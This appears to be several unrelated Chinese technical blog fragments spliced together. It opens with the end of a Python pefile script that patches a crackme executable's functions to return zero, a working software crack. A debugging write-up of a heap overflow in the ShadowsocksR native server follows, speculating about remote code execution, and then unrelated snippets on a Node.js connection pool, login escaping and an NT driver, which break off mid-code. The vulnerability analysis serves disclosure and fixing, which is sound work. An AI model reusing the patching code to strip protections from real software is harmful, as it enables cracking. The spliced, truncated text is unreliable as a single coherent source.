rvas = ['430B10', '431190', '430E80', '430030', '430170',
'4302A0', '4303D0', '4304F0', '430610', '431070',
'4313C0', '431420', '4314F0', '4317C0', '431C40',
> '431CE0', '431D80', '431F20', '431FD0', '4338D0',
'42D0B4', '42FA20', '42FAF0', '42FC90', '4323B0',
'4325D0', '4326C0', '432840', '4329C0', '432B30',
'432D20']
xor_eax_eax_ret = "\x33\xC0\xC3"
for eastr in rvas:
rva = int(eastr, 0x10)-0x400000
pe.set_bytes_at_rva(rva, xor_eax_eax_ret)
pe.write(r'{}'.format(save_file))
if __name__ == '__main__':
exefile = 'crackMe.exe'
save_file = 'crackMe3.exe'
change_pe(exefile, save_file)
想要获取汇编代码的byte code
,可以直接更改od里汇编代码或是调试vs,从汇编窗口中取得
作为该库的忠实用户,首先感谢作者无私的奉献,继续开发ssr
给我们广大用户使用,因为偶然的原因, 我更新了一直使用的ssr
,更新完之后发现, 突然不能使用了,为了找到其中的原因就调试了一下该库,现在把我的具体调试过程,以及如何发现漏洞的简单介绍一下。 希望大家能跟作者共同努力,把ssr
做的更加安全,稳定。
版本:使用master
分支最新commit
: 2bea1e1fadadd85497632d20e36e6d1bc55f121e
系统
服务器:ubuntu 16.04 x86_64
客户端:macos/windows ssr
服务器配置文件
{
"password": "fuckshit",
"method": "chacha20-ietf",
"protocol": "auth_aes128_sha1",
"protocol_param": "",
"obfs": "tls1.2_ticket_auth",
"obfs_param": "",
"udp": false,
"timeout": 300,
"server_settings": {
"listen_address": "0.0.0.0",
"listen_port": 9090
}
}
通过cmake
编译为debug版本
,以方便调试,之后利用gdb
服务器端启动ssr-server
启动完成,当客户端发送数据,漏洞形成
root@c664e51799f5:~/ssr-n/build# ./src/ssr-server -c vps/configfiles/ssr/config_tls.json
ssr-server 2020/04/28 15:05 info ShadowsocksR native server
ssr-server 2020/04/28 15:05 info listen port 9090
ssr-server 2020/04/28 15:05 info method chacha20-ietf
ssr-server 2020/04/28 15:05 info password fuckshit
ssr-server 2020/04/28 15:05 info protocol auth_aes128_sha1
ssr-server 2020/04/28 15:05 info obfs tls1.2_ticket_auth
ssr-server 2020/04/28 15:05 info udp relay no
ssr-server 2020/04/28 15:06 info ==== tunnel created count 1 ====
*** Error in `./src/ssr-server': free(): invalid next size (fast): 0x00000000024890f0 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f9221be97e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f9221bf237a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f9221bf653c]
./src/ssr-server(auth_aes128_sha1_server_post_decrypt+0x74a)[0x433793]
./src/ssr-server(tunnel_cipher_server_decrypt+0x283)[0x427ffa]
./src/ssr-server[0x42c446]
./src/ssr-server[0x42b84f]
./src/ssr-server[0x42ba3a]
./src/ssr-server[0x42a2f1]
./src/ssr-server[0x45ebb8]
./src/ssr-server[0x45ee79]
./src/ssr-server[0x46469a]
./src/ssr-server(uv_run+0xb1)[0x453cab]
./src/ssr-server[0x42b122]
./src/ssr-server(main+0x1da)[0x42ae2d]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f9221b92830]
./src/ssr-server(_start+0x29)[0x4139d9]
======= Memory map: ========
00400000-004d9000 r-xp 00000000 08:01 3413376 /root/ssr-n/build/src/ssr-server
006d8000-006d9000 r--p 000d8000 08:01 3413376 /root/ssr-n/build/src/ssr-server
006d9000-006db000 rw-p 000d9000 08:01 3413376 /root/ssr-n/build/src/ssr-server
006db000-006de000 rw-p 00000000 00:00 0
0246e000-0248f000 rw-p 00000000 00:00 0 [heap]
7f921c000000-7f921c021000 rw-p 00000000 00:00 0
7f921c021000-7f9220000000 ---p 00000000 00:00 0
7f922195c000-7f9221972000 r-xp 00000000 08:01 2360260 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9221972000-7f9221b71000 ---p 00016000 08:01 2360260 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9221b71000-7f9221b72000 rw-p 00015000 08:01 2360260 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f9221b72000-7f9221d32000 r-xp 00000000 08:01 2360239 /lib/x86_64-linux-gnu/libc-2.23.so
7f9221d32000-7f9221f32000 ---p 001c0000 08:01 2360239 /lib/x86_64-linux-gnu/libc-2.23.so
7f9221f32000-7f9221f36000 r--p 001c0000 08:01 2360239 /lib/x86_64-linux-gnu/libc-2.23.so
7f9221f36000-7f9221f38000 rw-p 001c4000 08:01 2360239 /lib/x86_64-linux-gnu/libc-2.23.so
7f9221f38000-7f9221f3c000 rw-p 00000000 00:00 0
7f9221f3c000-7f9221f43000 r-xp 00000000 08:01 2360313 /lib/x86_64-linux-gnu/librt-2.23.so
7f9221f43000-7f9222142000 ---p 00007000 08:01 2360313 /lib/x86_64-linux-gnu/librt-2.23.so
7f9222142000-7f9222143000 r--p 00006000 08:01 2360313 /lib/x86_64-linux-gnu/librt-2.23.so
7f9222143000-7f9222144000 rw-p 00007000 08:01 2360313 /lib/x86_64-linux-gnu/librt-2.23.so
7f9222144000-7f922215c000 r-xp 00000000 08:01 2360307 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922215c000-7f922235b000 ---p 00018000 08:01 2360307 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922235b000-7f922235c000 r--p 00017000 08:01 2360307 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922235c000-7f922235d000 rw-p 00018000 08:01 2360307 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f922235d000-7f9222361000 rw-p 00000000 00:00 0
7f9222361000-7f9222469000 r-xp 00000000 08:01 2360271 /lib/x86_64-linux-gnu/libm-2.23.so
7f9222469000-7f9222668000 ---p 00108000 08:01 2360271 /lib/x86_64-linux-gnu/libm-2.23.so
7f9222668000-7f9222669000 r--p 00107000 08:01 2360271 /lib/x86_64-linux-gnu/libm-2.23.so
7f9222669000-7f922266a000 rw-p 00108000 08:01 2360271 /lib/x86_64-linux-gnu/libm-2.23.so
7f922266a000-7f9222690000 r-xp 00000000 08:01 2360219 /lib/x86_64-linux-gnu/ld-2.23.so
7f9222883000-7f9222888000 rw-p 00000000 00:00 0
7f922288e000-7f922288f000 rw-p 00000000 00:00 0
7f922288f000-7f9222890000 r--p 00025000 08:01 2360219 /lib/x86_64-linux-gnu/ld-2.23.so
7f9222890000-7f9222891000 rw-p 00026000 08:01 2360219 /lib/x86_64-linux-gnu/ld-2.23.so
7f9222891000-7f9222892000 rw-p 00000000 00:00 0
7ffc3cda1000-7ffc3cdc2000 rw-p 00000000 00:00 0 [stack]
7ffc3cdcd000-7ffc3cdcf000 r--p 00000000 00:00 0 [vvar]
7ffc3cdcf000-7ffc3cdd1000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Aborted
上面ssr-server
崩溃了,启动gdb
调试分析
Program received signal SIGABRT, Aborted.
0x00007f73e2b11428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x6a
RCX 0x7f73e2b11428 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x6
RDI 0x29df
RSI 0x29df
R8 0xe
R9 0x0
R10 0x8
R11 0x202
R12 0x6a
R13 0x7ffc850a6e08 ◂— 0x8000000000
R14 0x7ffc850a6e08 ◂— 0x8000000000
R15 0x2
RBP 0x7ffc850a6ff0 —▸ 0x7ffc850a7040 ◂— '0000000002016d10'
RSP 0x7ffc850a6c58 —▸ 0x7f73e2b1302a (abort+362) ◂— mov rdx, qword ptr fs:[0x10]
RIP 0x7f73e2b11428 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */
──────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────
► 0x7f73e2b11428 <raise+56> cmp rax, -0x1000
0x7f73e2b1142e <raise+62> ja raise+96 <0x7f73e2b11450>
0x7f73e2b11430 <raise+64> ret
0x7f73e2b11432 <raise+66> nop word ptr [rax + rax]
0x7f73e2b11438 <raise+72> test ecx, ecx
0x7f73e2b1143a <raise+74> jg raise+43 <0x7f73e2b1141b>
↓
0x7f73e2b1141b <raise+43> movsxd rdx, edi
0x7f73e2b1141e <raise+46> mov eax, 0xea
0x7f73e2b11423 <raise+51> movsxd rdi, ecx
0x7f73e2b11426 <raise+54> syscall
► 0x7f73e2b11428 <raise+56> cmp rax, -0x1000
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc850a6c58 —▸ 0x7f73e2b1302a (abort+362) ◂— mov rdx, qword ptr fs:[0x10]
01:0008│ 0x7ffc850a6c60 ◂— 0x20 /* ' ' */
02:0010│ 0x7ffc850a6c68 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► f 0 7f73e2b11428 raise+56
f 1 7f73e2b1302a abort+362
f 2 7f73e2b537ea
f 3 7f73e2b5c37a _int_free+1578
f 4 7f73e2b5c37a _int_free+1578
f 5 7f73e2b6053c free+76
f 6 433793 auth_aes128_sha1_server_post_decrypt+1866
f 7 427ffa tunnel_cipher_server_decrypt+643
f 8 42c446 do_handle_client_feedback+245
f 9 42b84f do_next+550
f 10 42ba3a tunnel_read_done+35
pwndbg> bt
#0 0x00007f73e2b11428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007f73e2b1302a in __GI_abort () at abort.c:89
#2 0x00007f73e2b537ea in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7f73e2c6ced8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007f73e2b5c37a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7f73e2c6cf50 "free(): invalid next size (fast)", action=3) at malloc.c:5006
#4 _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3867
#5 0x00007f73e2b6053c in __GI___libc_free (mem=<optimized out>) at malloc.c:2968
#6 0x0000000000433793 in auth_aes128_sha1_server_post_decrypt (obfs=0x2018420, buf=0x2017370, need_feedback=0x7ffc850a72a3) at /root/ssr-n/src/obfs/auth.c:1553
#7 0x0000000000427ffa in tunnel_cipher_server_decrypt (tc=0x200f430, buf=0x200f400, obfs_receipt=0x7ffc850a7310, proto_confirm=0x7ffc850a7318) at /root/ssr-n/src/ssr_executive.c:624
#8 0x000000000042c446 in do_handle_client_feedback (tunnel=0x1ff3dc0, incoming=0x1ffdc70) at /root/ssr-n/src/server/server.c:708
#9 0x000000000042b84f in do_next (tunnel=0x1ff3dc0, socket=0x1ffdc70) at /root/ssr-n/src/server/server.c:432
#10 0x000000000042ba3a in tunnel_read_done (tunnel=0x1ff3dc0, socket=0x1ffdc70) at /root/ssr-n/src/server/server.c:480
#11 0x000000000042a2f1 in socket_read_done_cb (handle=0x1ffdc90, nread=1757, buf=0x7ffc850a7430) at /root/ssr-n/src/tunnel.c:413
#12 0x000000000045ebb8 in uv__read (stream=0x1ffdc90) at /root/ssr-n/depends/libuv/src/unix/stream.c:1238
#13 0x000000000045ee79 in uv__stream_io (loop=0x1ff3160, w=0x1ffdd18, events=1) at /root/ssr-n/depends/libuv/src/unix/stream.c:1305
#14 0x000000000046469a in uv__io_poll (loop=0x1ff3160, timeout=300000) at /root/ssr-n/depends/libuv/src/unix/linux-core.c:421
#15 0x0000000000453cab in uv_run (loop=0x1ff3160, mode=UV_RUN_DEFAULT) at /root/ssr-n/depends/libuv/src/unix/core.c:375
#16 0x000000000042b122 in ssr_server_run_loop (config=0x1ff3060) at /root/ssr-n/src/server/server.c:251
#17 0x000000000042ae2d in main (argc=3, argv=0x7ffc850aaa58) at /root/ssr-n/src/server/server.c:170
#18 0x00007f73e2afc830 in __libc_start_main (main=0x42ac53 <main>, argc=3, argv=0x7ffc850aaa58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffc850aaa48) at ../csu/libc-start.c:291
#19 0x00000000004139d9 in _start ()
最近的触发点在/root/ssr-n/src/obfs/auth.c
的auth_aes128_sha1_server_post_decrypt
,其出问题部分代码
在1553
行free
内存时出错。
具体分析一下代码
// 给key分配内存,并将所有数据置零
uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
size_t key_len;
(void)in_data;
// 获取local_key长度
key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
// 将local->salt复制到key[key_len]之后的位置
memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
key_len += strlen(local->salt);
bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));
ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);
// 释放key
free(key);
上面把跟key
有关的所有操作,都做了标注,其实我们细想就可以发现memmove
很有可能会出现越界写的问题
memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
如果越界足够长,就会覆盖接下来的堆块,造成释放时出现崩溃,我们来调试一下,验证我们的猜想
首先在auth.c:1541
设下断点
pwndbg> b auth.c:1541
Breakpoint 1 at 0x433685: file /root/ssr-n/src/obfs/auth.c, line 1541.
pwndbg> r -c vps/configfiles/ssr/config_tls.json
// 省略部分输出
In file: /root/ssr-n/src/obfs/auth.c
1536 uint8_t in_data[32 + 1] = { 0 };
1537 size_t local_key_len = 0;
1538 const uint8_t *local_key = buffer_get_data(local->user_key, &local_key_len);
1539
1540 size_t b64len = (size_t) std_base64_encode_len((int)local_key_len);
► 1541 uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
1542 size_t key_len;
1543
1544 (void)in_data;
1545 key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
1546 memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc2b636f60 ◂— 0x0
01:0008│ 0x7ffc2b636f68 —▸ 0x7ffc2b637113 ◂— 0x688c800000000000
02:0010│ 0x7ffc2b636f70 —▸ 0x1688c80 ◂— 0x8be
03:0018│ 0x7ffc2b636f78 —▸ 0x168aba0 ◂— 0x0
04:0020│ 0x7ffc2b636f80 ◂— 0x0
05:0028│ 0x7ffc2b636f88 ◂— 0xaf141dd900000000
06:0030│ 0x7ffc2b636f90 —▸ 0x7ffc2b637030 —▸ 0x7ffc2b63a8c0 ◂— 0x3
07:0038│ 0x7ffc2b636f98 ◂— 0xd1bfed17a43e5a00
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► f 0 433685 auth_aes128_sha1_server_post_decrypt+1596
f 1 427ffa tunnel_cipher_server_decrypt+643
f 2 42c446 do_handle_client_feedback+245
f 3 42b84f do_next+550
f 4 42ba3a tunnel_read_done+35
f 5 42a2f1 socket_read_done_cb+399
f 6 45ebb8 uv.read+1206
f 7 45ee79 uv.stream_io+239
f 8 46469a uv.io_poll+1926
f 9 453cab uv_run+177
f 10 42b122 ssr_server_run_loop+667
pwndbg> p b64len // *key的类型为uint8_t,所以分配的长度为46
$1 = 45
pwndbg> n
// 省略输出
pwndbg> x/46bx key // key 分配成功
0x1689c70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1689c78: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1689c80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1689c88: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1689c90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x1689c98: 0x00 0x00 0x00 0x00 0x00 0x00
继续执行,来到关键代码处
pwndbg> n
// 省略
In file: /root/ssr-n/src/obfs/auth.c
1541 uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
1542 size_t key_len;
1543
1544 (void)in_data;
1545 key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
► 1546 memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
1547 key_len += strlen(local->salt);
1548
1549 bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));
1550
1551 ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);
// 省略
pwndbg> p key_len // 查看memmove起始位置
$2 = 44
pwndbg> p local->salt
$3 = 0x4ac19e "auth_aes128_sha1"
pwndbg> x/20bx local->salt // 如果长度过长,会发生越界写
0x4ac19e: 0x61 0x75 0x74 0x68 0x5f 0x61 0x65 0x73
0x4ac1a6: 0x31 0x32 0x38 0x5f 0x73 0x68 0x61 0x31
0x4ac1ae: 0x00 0x61 0x75 0x74
memmove
执行之前来看一下内存及堆情况
pwndbg> heap
// 省略多个chunk输出
Allocated chunk
Addr: 0x168ef10
Size: 0x811
Allocated chunk
Addr: 0x168f720
Size: 0x1211
Allocated chunk
Addr: 0x1690930
Size: 0x811
Allocated chunk
Addr: 0x1691140
Size: 0x911
Allocated chunk
Addr: 0x1691a50
Size: 0x8e1
Top chunk
Addr: 0x1692330
Size: 0x4cd1 // top chunk的长度
pwndbg> x/46bx key // 在最后一个块中
0x1689c70: 0x4c 0x6b 0x73 0x2f 0x53 0x56 0x4f 0x64
0x1689c78: 0x54 0x41 0x38 0x74 0x46 0x32 0x30 0x48
0x1689c80: 0x49 0x55 0x4f 0x4e 0x39 0x47 0x49 0x36
0x1689c88: 0x37 0x2f 0x51 0x67 0x71 0x67 0x54 0x74
0x1689c90: 0x56 0x79 0x42 0x53 0x64 0x59 0x44 0x41
0x1689c98: 0x2b 0x36 0x73 0x3d 0x00 0x00
继续执行
► 0x43370e <auth_aes128_sha1_server_post_decrypt+1733> mov rax, qword ptr [rbp - 0x110]
0x433715 <auth_aes128_sha1_server_post_decrypt+1740> mov rax, qword ptr [rax + 0x18]
0x433719 <auth_aes128_sha1_server_post_decrypt+1744> mov rdi, rax
0x43371c <auth_aes128_sha1_server_post_decrypt+1747> call strlen@plt <0x412d50>
0x433721 <auth_aes128_sha1_server_post_decrypt+1752> add qword ptr [rbp - 0xd0], rax
0x433728 <auth_aes128_sha1_server_post_decrypt+1759> lea rdx, [rbp - 0x90]
0x43372f <auth_aes128_sha1_server_post_decrypt+1766> mov rsi, qword ptr [rbp - 0xd0]
0x433736 <auth_aes128_sha1_server_post_decrypt+1773> mov rax, qword ptr [rbp - 0xd8]
0x43373d <auth_aes128_sha1_server_post_decrypt+1780> mov ecx, 0x10
0x433742 <auth_aes128_sha1_server_post_decrypt+1785> mov rdi, rax
0x433745 <auth_aes128_sha1_server_post_decrypt+1788> call bytes_to_key_with_size <0x41e806>
──────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────
In file: /root/ssr-n/src/obfs/auth.c
1542 size_t key_len;
1543
1544 (void)in_data;
1545 key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
1546 memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
► 1547 key_len += strlen(local->salt);
1548
1549 bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));
1550
1551 ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);
1552
──────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc2b636f60 ◂— 0x0
01:0008│ 0x7ffc2b636f68 —▸ 0x7ffc2b637113 ◂— 0x688c800000000000
02:0010│ 0x7ffc2b636f70 —▸ 0x1688c80 ◂— 0x8be
03:0018│ 0x7ffc2b636f78 —▸ 0x168aba0 ◂— 0x0
04:0020│ 0x7ffc2b636f80 ◂— 0x0
05:0028│ 0x7ffc2b636f88 ◂— 0xaf141dd900000000
06:0030│ 0x7ffc2b636f90 —▸ 0x7ffc2b637030 —▸ 0x7ffc2b63a8c0 ◂— 0x3
07:0038│ 0x7ffc2b636f98 ◂— 0xd1bfed17a43e5a00
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► f 0 43370e auth_aes128_sha1_server_post_decrypt+1733
f 1 427ffa tunnel_cipher_server_decrypt+643
f 2 42c446 do_handle_client_feedback+245
f 3 42b84f do_next+550
f 4 42ba3a tunnel_read_done+35
f 5 42a2f1 socket_read_done_cb+399
f 6 45ebb8 uv.read+1206
f 7 45ee79 uv.stream_io+239
f 8 46469a uv.io_poll+1926
f 9 453cab uv_run+177
f 10 42b122 ssr_server_run_loop+667
再来看一下堆的情况
pwndbg> heap
// 省略多个chunk输出
Free chunk (fastbins)
Addr: 0x1689bc0
Size: 0x71
fd: 0x00
Allocated chunk
Addr: 0x1689c30
Size: 0x31
Allocated chunk
Addr: 0x1689c60
Size: 0x41
Free chunk (unsortedbin)
Addr: 0x1689ca0
Size: 0x31616873 // size被改写
fd: 0x7f73962bcb78
bk: 0x00
pwndbg> x/60bx key // key被改写后的长度
0x1689c70: 0x4c 0x6b 0x73 0x2f 0x53 0x56 0x4f 0x64
0x1689c78: 0x54 0x41 0x38 0x74 0x46 0x32 0x30 0x48
0x1689c80: 0x49 0x55 0x4f 0x4e 0x39 0x47 0x49 0x36
0x1689c88: 0x37 0x2f 0x51 0x67 0x71 0x67 0x54 0x74
0x1689c90: 0x56 0x79 0x42 0x53 0x64 0x59 0x44 0x41
0x1689c98: 0x2b 0x36 0x73 0x3d 0x61 0x75 0x74 0x68
0x1689ca0: 0x5f 0x61 0x65 0x73 0x31 0x32 0x38 0x5f
0x1689ca8: 0x73 0x68 0x61 0x31
pwndbg> x/20wx key
0x1689c70: 0x2f736b4c 0x644f5653 0x74384154 0x48303246
0x1689c80: 0x4e4f5549 0x36494739 0x67512f37 0x74546771
0x1689c90: 0x53427956 0x41445964 0x3d73362b 0x68747561
0x1689ca0: 0x7365615f 0x5f383231 0x31616873(size) 0x00000000
0x1689cb0: 0x962bcb78 0x00007f73 0x962bcb78 0x00007f73
到这里可以发现,memmove
成功造成了堆越界写。
这个代码是啥时引入到库中的呢?通过git
的log
可以发现其在507e009
这个一天前的commit引入
再来看看以前的代码为啥没有这个漏洞呢
struct buffer_t *key = buffer_create(b64len + 1);
(void)in_data;
key->len = (size_t) std_base64_encode(local_key, (int)local_key_len, key->buffer);
buffer_concatenate(key, (uint8_t *)local->salt, strlen(local->salt));
bytes_to_key_with_size(key->buffer, key->len, enc_key, sizeof(enc_key));
head = buffer_create(16);
head->len = 16;
ss_aes_128_cbc_decrypt(16, local->recv_buffer->buffer+11, head->buffer, enc_key);
buffer_release(key);
key的赋值是通过buffer_concatenate
来完成的,来看看这个函数的具体实现
size_t buffer_concatenate(struct buffer_t *ptr, const uint8_t *data, size_t size) {
size_t result = buffer_realloc(ptr, ptr->len + size); // 分配了足够的空间
memmove(ptr->buffer + ptr->len, data, size);
ptr->len += size;
check_memory_content(ptr);
return min(ptr->len, result);
}
它会调用buffer_realloc
函数,对其超过自身长度的内存进行realloc
,这样也就不存在越界写的问题了。
调试完后,我们再来看看auth.c
中的auth_aes128_sha1_server_post_decrypt
函数,其中需要注意的,我已经做了标示
struct buffer_t * auth_aes128_sha1_server_post_decrypt(struct obfs_t *obfs, struct buffer_t *buf, bool *need_feedback) {
struct server_info_t *server_info = &obfs->server_info; // 传入server_info
struct buffer_t *out_buf = NULL;
struct buffer_t *mac_key = NULL;
uint8_t sha1data[SHA1_BYTES + 1] = { 0 };
size_t length;
bool sendback = false;
auth_simple_local_data *local = (auth_simple_local_data*)obfs->l_data; //传入混淆数据
buffer_concatenate2(local->recv_buffer, buf);
out_buf = buffer_create(SSR_BUFF_SIZE);
mac_key = buffer_create_from(server_info->recv_iv, server_info->recv_iv_len);
buffer_concatenate(mac_key, server_info->key, server_info->key_len);
if (local->has_recv_header == false) {
uint32_t utc_time;
uint32_t client_id;
uint32_t connection_id;
uint16_t rnd_len;
int time_diff;
uint32_t uid;
char uid_str[32] = { 0 };
const char *auth_key = NULL;
bool is_multi_user = false;
bool user_exist = false;
uint8_t head[16] = { 0 };
size_t len = buffer_get_length(local->recv_buffer);
if ((len >= 7) || (len==2 || len==3)) {
size_t recv_len = min(len, 7);
struct buffer_t *_msg = buffer_create_from(buffer_get_data(local->recv_buffer, NULL), 1);
local->hmac(sha1data, _msg, mac_key);
buffer_release(_msg);
if (memcmp(sha1data, buffer_get_data(local->recv_buffer, NULL)+1, recv_len - 1) != 0) {
return auth_aes128_not_match_return(obfs, local->recv_buffer, need_feedback);
}
}
if (buffer_get_length(local->recv_buffer) < 31) {
if (need_feedback) { *need_feedback = false; }
return buffer_create(1);
}
{
struct buffer_t *_msg = buffer_create_from(buffer_get_data(local->recv_buffer, NULL)+7, 20);
local->hmac(sha1data, _msg, mac_key);
buffer_release(_msg);
}
if (memcmp(sha1data, buffer_get_data(local->recv_buffer, NULL)+27, 4) != 0) {
// '%s data incorrect auth HMAC-SHA1 from %s:%d, data %s'
if (buffer_get_length(local->recv_buffer) < (31 + local->extra_wait_size)) {
if (need_feedback) { *need_feedback = false; }
return buffer_create(1);
}
return auth_aes128_not_match_return(obfs, local->recv_buffer, need_feedback);
}
memcpy(local->uid, buffer_get_data(local->recv_buffer, NULL) + 7, 4);
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wstrict-aliasing"
uid = (uint32_t) (*((uint32_t *)(local->uid))); // TODO: ntohl
#pragma GCC diagnostic pop
sprintf(uid_str, "%d", (int)uid);
if (obfs->audit_incoming_user) {
user_exist = obfs->audit_incoming_user(obfs, uid_str, &auth_key, &is_multi_user);
}
if (user_exist) {
uint8_t hash[SHA1_BYTES + 1] = { 0 };
assert(is_multi_user);
assert(auth_key);
local->hash(hash, (const uint8_t*)auth_key, strlen(auth_key));
buffer_store(local->user_key, hash, local->hash_len);
} else {
if (is_multi_user == false) {
// user_key 最终来自于obfs->server_info
buffer_store(local->user_key, server_info->key, server_info->key_len);
} else {
buffer_store(local->user_key, server_info->recv_iv, server_info->recv_iv_len);
}
}
{
uint8_t enc_key[16] = { 0 };
uint8_t in_data[32 + 1] = { 0 };
size_t local_key_len = 0;
const uint8_t *local_key = buffer_get_data(local->user_key, &local_key_len);
size_t b64len = (size_t) std_base64_encode_len((int)local_key_len);
uint8_t *key = (uint8_t*) calloc(b64len + 1, sizeof(*key));
size_t key_len;
(void)in_data;
key_len = (size_t) std_base64_encode(local_key, (int)local_key_len, key);
// 同样来自于 struct obfs_t *obfs
memmove(key+key_len, (uint8_t *)local->salt, strlen(local->salt));
key_len += strlen(local->salt);
bytes_to_key_with_size(key, key_len, enc_key, sizeof(enc_key));
ss_aes_128_cbc_decrypt(16, buffer_get_data(local->recv_buffer, NULL)+11, head, enc_key);
free(key);
}
可以发现所有的数据都来源于传入的参数struct obfs_t *obfs
,只要能够控制它就控制了其他所有操作了。
所以我们只要能通过客户端的流量数据控制混淆的输入数据,那么就可以成功造成RCE
今天把这个调试完,有点晚了,回头我细看一下,看看能不能控制混淆的数据输入,能控制的话,那就是RCE
,可能会影响很多梯子
目前修复办法:回滚不受影响版本
数据库连接池库,一开始就创建一沓数据库连接,并保持长连不断开。当我们需要访问数据库的时候,就去那一沓连接(俗称连接池)中拿来一个用,用完(对数据库增删改查完)后再把这条连接释放到连接池中(依然不断开)。这样我们只在一开始创建一沓数据库连接时会有一些开销,而这种开销总比频繁的创建和销毁连接小得多。
在 Node.js 中,我们可以使用 generic-pool 这个模块帮助我们创建和管理数据库连接池。
var Db = require('./db');
var markdown = require('markdown').markdown;
var poolModule = require('generic-pool');
var pool = poolModule.Pool({
name : 'mongoPool',
create : function(callback) {
var mongodb = Db();
mongodb.open(function (err, db) {
callback(err, db);
})
},
destroy : function(mongodb) {
mongodb.close();
},
max : 100,
min : 5,
idleTimeoutMillis : 30000,
log : true
});
一个十分简化的MVC的nodejs后台框架
function htmlEscape(text){
return text.replace(/[<>"&]/g, function(match){
switch(match){
case "<":return "<";
case ">":return ">";
case "&":return "&";
case "\"":return """;
}
return match;
});
}
function responseHeaderEscape(text){
return text.replace(/[\r\n]/g, function(match){
switch(match){
case '\n': return "%0a";
case '\r': return "%0d";
}
return match;
});
}
var username = req.param('user'),
pass = req.param('pass'),
op = req.param('op'),
url = req.param('url');
if (typeof url == 'string'){
if (url[0] != '/'){
url = null; // not a local location
}else{
url = htmlEscape(responseHeaderEscape(url)); // avoid http response header injection! and avoid html injection
}
}
for (var i in users){
var u = users[i];
if (u.username == username && u.pass == pass){
req.session.islogin = true;
req.session.username = u.username;
var level = {};
for (var i in u.group){
var groupName = u.group[i];
if (groups[groupName]){
level = _.extend(level, groups[groupName]);
}
}
req.session.level = level;
var resultText = ['login success with username:', username,'granted operations:',JSON.stringify(req.session.level)].join(' ');
log.log(req, resultText);
log.console(req, 'LOGIN', log.level.OK, resultText);
break;
}
}
在学习NT driver
过程中,遇到了一个比较奇怪的问题,在NTDDKUnload
中,删除符号链接,出现蓝屏
DEVICE_EXTENSION
结构
typedef struct _DEVICE_EXTENSION {
PDEVICE_OBJECT pDevice;
UNICODE_STRING ustrDeviceName;
UNICODE_STRING ustrSymLinkName;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;
创建设备和卸载设备代码,其中CreateDevice
属性为INITCODE
,NTDDKUnload
属性为PAGEDCODE
#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
